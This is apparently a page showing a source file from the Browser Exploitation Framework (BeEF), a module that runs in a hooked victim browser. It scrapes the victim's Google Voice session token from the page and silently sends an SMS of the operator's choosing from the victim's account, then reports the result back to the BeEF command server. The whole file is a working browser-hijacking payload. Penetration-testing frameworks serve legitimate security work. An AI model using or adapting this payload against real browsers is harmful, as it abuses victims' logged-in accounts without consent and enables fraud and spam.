Path: blob/master/modules/chrome_extensions/send_gvoice_sms/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var to = "<%= @to %>";8var message = "<%= @message %>";9var status;10var regSMS = "('_rnr_se': ')([a-zA-Z0-9\+=]+)";//?(',)"1112function sendSMSNOW(message,number,token){13token = token.replace("+","%2b").replace("=","%3d");14var sendMessage = new XMLHttpRequest();15sendMessage.open("POST","https://www.google.com/voice/sms/send/",false);16sendMessage.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");17params = "id=&phoneNumber="+number+"&conversationId=&text="+message+"&contact=&_rnr_se="+token18sendMessage.send(params)19eval("response="+sendMessage.responseText);20if(response['ok'] == true){21status = "OK. Your message has been sent.";22} else {23status = "ERROR. Something went wrong. Make sure you prefix the number with the country code.";24}25}2627function sendSMS(message,number) {28var client = new XMLHttpRequest();29client.open("GET", "https://www.google.com/voice" ,false);30client.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3");31client.send();3233var re = new RegExp(regSMS);34var m = re.exec(client.responseText);35if (m != null) {36//return m[2];37sendSMSNOW(message,number,m[2]);38}39}404142sendSMS(message,to);4344beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'to='+to+'&message='+message+'&status='+status);45});464748